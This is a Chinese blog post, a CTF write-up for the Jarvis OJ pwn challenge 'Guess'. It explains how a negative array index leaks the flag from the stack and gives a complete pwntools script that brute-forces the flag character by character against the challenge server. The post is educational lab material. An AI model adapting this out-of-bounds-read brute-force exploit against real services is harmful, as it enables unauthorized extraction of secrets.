欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页

(Jarvis Oj)(Pwn) Guess

程序员文章站 2022-05-16 09:11:54
...

(Jarvis Oj)(Pwn) Guess

查看保护。没开什么保护。
(Jarvis Oj)(Pwn) Guess
丢到ida中查看程序逻辑。前面不用看,找到handle函数。
(Jarvis Oj)(Pwn) Guess
可以看到输入是用fget函数处理的,限制了输入的长度,所以不好溢出。再看看flag_correct( )函数。
(Jarvis Oj)(Pwn) Guess
在nc连远程服务器的时候也提示说,要将flag先encode成hex,所以50个字符的flag就成了100个字符,程序首先判断长度是否是100,然后在栈上给flag这个数组赋值,然后取出用户输入,每两位进行decode变为一个字符,最后和flag数组进行比较。注意到栈的布局。
(Jarvis Oj)(Pwn) Guess
flag的地址是bin_by_hex+0x40,程序中又通过bin_by_hex这个数组取值,那么如果index为负数就会取到flag数组中的数,也就是flag,given_flag=value2+16 * value1,那么只要value1=0,value2=flag[-40]~flag[-1],那么得到的given_flag[i]就是flag,要使flag_hex[2 * i+1]是负数并不难,因为flag_hex是char型数组,当超过127时会变成负数,所以我们可以通过输入得到given_flag和flag一样,但是程序没有输出,无法知道given_flag的具体内容。按理说这程序是50个字符一起验证的,**不可行,但是我们可以得到given_flag就是flag,那么实际上我们可以控制其为一位一位验证,先让given_flag[1]~given_flag[49]是flag的内容,对given_flag[0]进行**,再逐次向后**。写得脚本。

  1 from pwn import *
  2 import string
  3 
  4 conn=remote('pwn.jarvisoj.com','9878')                                                                             
  5 e=ELF('./guess')
  6 conn.recvuntil('>')
  7 
  8 payload=""
  9 l=string.digits+'_{}'+string.ascii_lowercase+string.ascii_uppercase
 10 for i in range(50):
 11     payload+='0'
 12     payload+=chr(128+i+0x40)
 13 #print payload
 14 t=list(payload)
 15 flag=''
 16 for i in range(50):
 17     for j in l:
 18         t[i*2]=j.encode('hex')[0]
 19         t[2*i+1]=j.encode('hex')[1]
 20         conn.sendline(''.join(t))
 21         re=conn.recvline()
 22         if re.count('Yaaa'):
 23             flag+=j
 24             break
 25     print flag
 26 conn.interactive()